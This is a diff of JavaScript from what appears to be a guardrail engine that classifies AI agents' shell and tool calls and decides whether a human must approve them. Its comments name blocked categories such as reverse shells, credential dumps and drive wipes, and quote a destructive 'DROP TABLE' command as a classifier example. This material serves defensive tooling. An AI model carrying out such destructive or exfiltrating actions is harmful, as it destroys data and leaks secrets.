1273
+ const segments = splitShellSegments(command);
875
1274
  if (segments.length === 0)
876
1275
  return 'SHELL';
877
- let worst = 'read';
878
- for (const segment of segments) {
879
- const op = classifyShellSegment(segment);
880
- if ((SHELL_OP_RANK[op] || 0) > (SHELL_OP_RANK[worst] || 0))
881
- worst = op;
882
- }
883
- return worst;
1276
+ return worstShellOp(segments.map(segment => classifyShellSegment(segment, depth)), 'read');
884
1277
  }
885
1278
  function isInternalHost(hostname) {
886
1279
  const host = hostname.toLowerCase();
@@ -935,6 +1328,7 @@ function evaluateActionPolicies(policies, toolName, operation, context = {}, dec
935
1328
  let worstResult = { allowed: true, verdict: 'allow' };
936
1329
  const matchText = buildOperationMatchText(toolName, context);
937
1330
  const toolCaps = toolCapabilities(toolName || context.toolName || '');
1331
+ const localFileContentAction = isLocalFileContentAction(toolName, operation, context);
938
1332
  // When the call carries no concrete action (the inferred operation fell back to the tool name),
939
1333
  // the tool's DECLARED operations stand in for what the call does — so a per-operation policy
940
1334
  // (read/write/delete/drop/...) can still match a bare invocation. When the call DOES carry a
@@ -955,6 +1349,9 @@ function evaluateActionPolicies(policies, toolName, operation, context = {}, dec
955
1349
  const monitorMatches = [];
956
1350
  let monitorWorst;
957
1351
  const skippedOrgPolicies = [];
1352
+ // A `block` from a policy marked `enforcement: 'hard'` — kept as a block even
1353
+ // where a human is present (see the workstation ceiling below).
1354
+ let hardBlock;
958
1355
  for (const policy of policies) {
959
1356
  // Org-scoped policies bind to attributed RUNTIME USERS — anonymous/system calls (no
960
1357
  // developerName) are deliberately out of scope. Surfaced via skippedOrgPolicies so
@@ -980,7 +1377,9 @@ function evaluateActionPolicies(policies, toolName, operation, context = {}, dec
980
1377
  const matchedRule = `${rule.operations.join('/')} → ${rule.verdict}${constraintDesc ? ` (${constraintDesc})` : ''}`;
981
1378
  // Monitor-stage policies never enforce — record what WOULD have happened.
982
1379
  if (isMonitorStage) {
983
- if (rule.verdict === 'block' || rule.verdict === 'require_approval') {
1380
+ // A content-only block on a local file would be a warning even when enforced — not a "would block".
1381
+ const wouldOnlyWarn = rule.verdict === 'block' && policy.enforcement !== 'hard' && ruleNeedsContentFact(rule) && localFileContentAction;
1382
+ if ((rule.verdict === 'block' || rule.verdict === 'require_approval') && !wouldOnlyWarn) {
984
1383
  const match = { policyId: policy.id, policyName: policy.name, verdict: rule.verdict, matchedRule };
985
1384
  monitorMatches.push(match);
986
1385
  if (!monitorWorst || verdictPriority[rule.verdict] > verdictPriority[monitorWorst.verdict])
@@ -988,18 +1387,32 @@ function evaluateActionPolicies(policies, toolName, operation, context = {}, dec
988
1387
  }
989
1388
  continue;
990
1389
  }
991
- if (verdictPriority[rule.verdict] > verdictPriority[worstResult.verdict]) {
992
- worstResult = {
993
- allowed: rule.verdict === 'allow' || rule.verdict === 'log',
994
- verdict: rule.verdict,
995
- policyId: policy.id,
996
- policyName: policy.name,
997
- resourceType: policy.resourceType,
998
- matchedRule,
999
- reason: `Action policy "${policy.name}": ${rule.operations.join('/')} ${rule.verdict === 'block' ? 'blocked' : rule.verdict === 'require_approval' ? 'requires approval' : rule.verdict}`,
1000
- ...(rule.verdict === 'require_approval' ? { approval: resolveApprovalOptions(rule.approval) } : {}),
1390
+ let matched = {
1391
+ allowed: rule.verdict === 'allow' || rule.verdict === 'log',
1392
+ verdict: rule.verdict,
1393
+ policyId: policy.id,
1394
+ policyName: policy.name,
1395
+ resourceType: policy.resourceType,
1396
+ matchedRule,
1397
+ reason: `Action policy "${policy.name}": ${rule.operations.join('/')} ${rule.verdict === 'block' ? 'blocked' : rule.verdict === 'require_approval' ? 'requires approval' : rule.verdict}`,
1398
+ ...(rule.verdict === 'require_approval' ? { approval: resolveApprovalOptions(rule.approval) } : {}),
1399
+ };
1400
+ // Local content ceiling (see CONTENT_FACT_FIELDS): a block that fires on
1401
+ // what a LOCAL FILE contains is recorded as a warning, never enforced.
1402
+ if (rule.verdict === 'block' && policy.enforcement !== 'hard' && ruleNeedsContentFact(rule) && localFileContentAction) {
1403
+ matched = {
1404
+ ...matched,
1405
+ allowed: true,
1406
+ verdict: 'log',
1407
+ loggedInsteadOfBlocked: true,
1408
+ reason: `${matched.reason} — recorded as a warning: this only touches a file on this machine and nothing leaves it (the same content leaving the machine still blocks; mark the policy Hard block to stop file edits too)`,
1001
1409
  };
1002
1410
  }
1411
+ if (rule.verdict === 'block' && policy.enforcement === 'hard' && !hardBlock)
1412
+ hardBlock = matched;
1413
+ if (verdictPriority[rule.verdict] > verdictPriority[worstResult.verdict]) {
1414
+ worstResult = matched;
1415
+ }
1003
1416
  else if (rule.verdict === 'require_approval' && worstResult.verdict === 'require_approval') {
1004
1417
  // A second approval rule matched: keep the first rule's attribution but tighten the
1005
1418
  // approval routing to the most restrictive of both (a developer-scoped rule can never
@@ -1011,6 +1424,29 @@ function evaluateActionPolicies(policies, toolName, operation, context = {}, dec
1011
1424
  }
1012
1425
  }
1013
1426
  }
1427
+ // Workstation ceiling. With a HUMAN at the keyboard, an org policy's `block`
1428
+ // pauses the action and asks that human — unless a policy marked
1429
+ // `enforcement: 'hard'` also fired, in which case the hard policy blocks and
1430
+ // is the one named. Without a human (CI, workloads, SDK agents, or a caller
1431
+ // that did not assert presence) nothing changes: a block stays a block.
1432
+ // The fixed Local Safety catalog is evaluated before policies and is never
1433
+ // touched by this — root/home/drive wipes, credential dumps, reverse shells
1434
+ // and a secret leaving the machine stay hard everywhere.
1435
+ if (worstResult.verdict === 'block' && context.humanPresent === 'true') {
1436
+ if (hardBlock) {
1437
+ worstResult = { ...hardBlock, allowed: false };
1438
+ }
1439
+ else {
1440
+ worstResult = {
1441
+ ...worstResult,
1442
+ allowed: false,
1443
+ verdict: 'require_approval',
1444
+ approval: { ...exports.WORKSTATION_ASK_APPROVAL },
1445
+ askedInsteadOfBlocked: true,
1446
+ reason: `${worstResult.reason || `Action policy "${worstResult.policyName}" blocked`} — asks you on a workstation (the policy is not marked Hard block)`,
1447
+ };
1448
+ }
1449
+ }
1014
1450
  if (monitorMatches.length > 0) {
1015
1451
  worstResult = { ...worstResult, monitorMatches };
1016
1452
  }
@@ -1072,7 +1508,10 @@ function inferToolContext(toolName, args) {
1072
1508
  // by a SQL verb sniffed out of the command line — `git commit -m "delete old
1073
1509
  // loader"` and `grep "DROP TABLE"` are not DELETE/DROP. A SQL client invoked
1074
1510
  // from a shell (`psql -c "DROP TABLE x"`) is still caught by the shell model.
1075
- const isCodeExecTool = operation === toolName && /\b(node[_-]?repl|repl|shell|exec|terminal|command|run[_-]?code|bash|powershell|cmd)\b/i.test(toolName);
1511
+ // Matched on the separator-normalized name: `\b` does not see `_` as a boundary,
1512
+ // so `shell_command` / `run_terminal_cmd` / `execute_command` (the MCP norm)
1513
+ // would otherwise miss and fall through to SQL sniffing of the raw command line.
1514
+ const isCodeExecTool = operation === toolName && CODE_EXEC_TOOL_NAME_RE.test(nameWords);
1076
1515
  const sqlArg = args.query || args.sql || args.statement || (isCodeExecTool ? '' : (args.command || args.code || args.script || args.input)) || '';
1077
1516
  if (!isSearchTool && typeof sqlArg === 'string' && sqlArg.length > 0) {
1078
1517
  const sqlMatch = sqlArg.match(/(?<!-)\b(SELECT|INSERT|UPDATE|DELETE|DROP|CREATE|ALTER|TRUNCATE|GRANT|REVOKE|SHOW|DESCRIBE|EXPLAIN)\b(?!-)/i);
@@ -1084,7 +1523,7 @@ function inferToolContext(toolName, args) {
1084
1523
  // Code execution MCPs such as Cursor shell or Codex node_repl are shell-equivalent,
1085
1524
  // but classify common command text first so safe internal reads (git status, pwd, ls)
1086
1525
  // do not get blocked as high-impact execution.
1087
- if (operation === toolName && /\b(node[_-]?repl|repl|shell|exec|terminal|command|run[_-]?code)\b/i.test(toolName)) {
1526
+ if (operation === toolName && CODE_EXEC_TOOL_NAME_RE.test(nameWords)) {
1088
1527
  // Only the command text is classified — never the whole args JSON, which
1089
1528
  // would let a file body or a comment turn a shell call into DELETE.
1090
1529
  operation = classifyShellCommandOperation(String(args.command || args.code || args.script || args.input || ''));